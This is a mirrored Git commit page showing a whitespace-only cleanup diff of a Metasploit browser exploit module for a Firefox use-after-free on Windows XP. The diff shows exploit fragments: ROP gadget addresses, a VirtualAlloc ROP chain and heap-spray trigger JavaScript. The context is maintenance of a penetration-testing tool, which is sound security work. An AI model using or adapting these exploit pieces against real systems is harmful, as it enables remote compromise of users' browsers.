infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Msftidy on mozilla_attribchildremoved.rb 

was executable, had bad spacing.
unstable
Tod Beardsley 2012-05-15 15:39:30 -05:00
parent 64270ea7c2
commit 9b3f602910
1 changed files with 8 additions and 8 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

16
modules/exploits/windows/browser/mozilla_attribchildremoved.rb Executable file → Normal file
View File

@ -72,8 +72,8 @@ class Metasploit3 < Msf::Exploit::Remote
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
'FF' => 9,
'OS' => 'XP'
}
@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
'FF' => 901,
'OS' => 'XP'
@ -122,7 +122,7 @@ class Metasploit3 < Msf::Exploit::Remote
rop_chain =
[
0x7819c80a, # POP EAX # RETN [MOZCRT19.dll]
0x7819c80a, # POP EAX # RETN [MOZCRT19.dll]
0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]
@ -357,16 +357,16 @@ class Metasploit3 < Msf::Exploit::Remote
#{attr_name}.value = "#{bar_name}";
var #{ni_name} = document.createNodeIterator(
#{attr_name}, NodeFilter.SHOW_ALL,
{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
false);
#{attr_name}, NodeFilter.SHOW_ALL,
{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
false);
#{ni_name}.nextNode();
#{ni_name}.nextNode();
#{ni_name}.previousNode();
#{attr_name}.value = null;
const #{addr_name} = unescape("#{filler_js}");
var #{container_name} = new Array();
var #{small_name} = unescape("#{popesp_js}")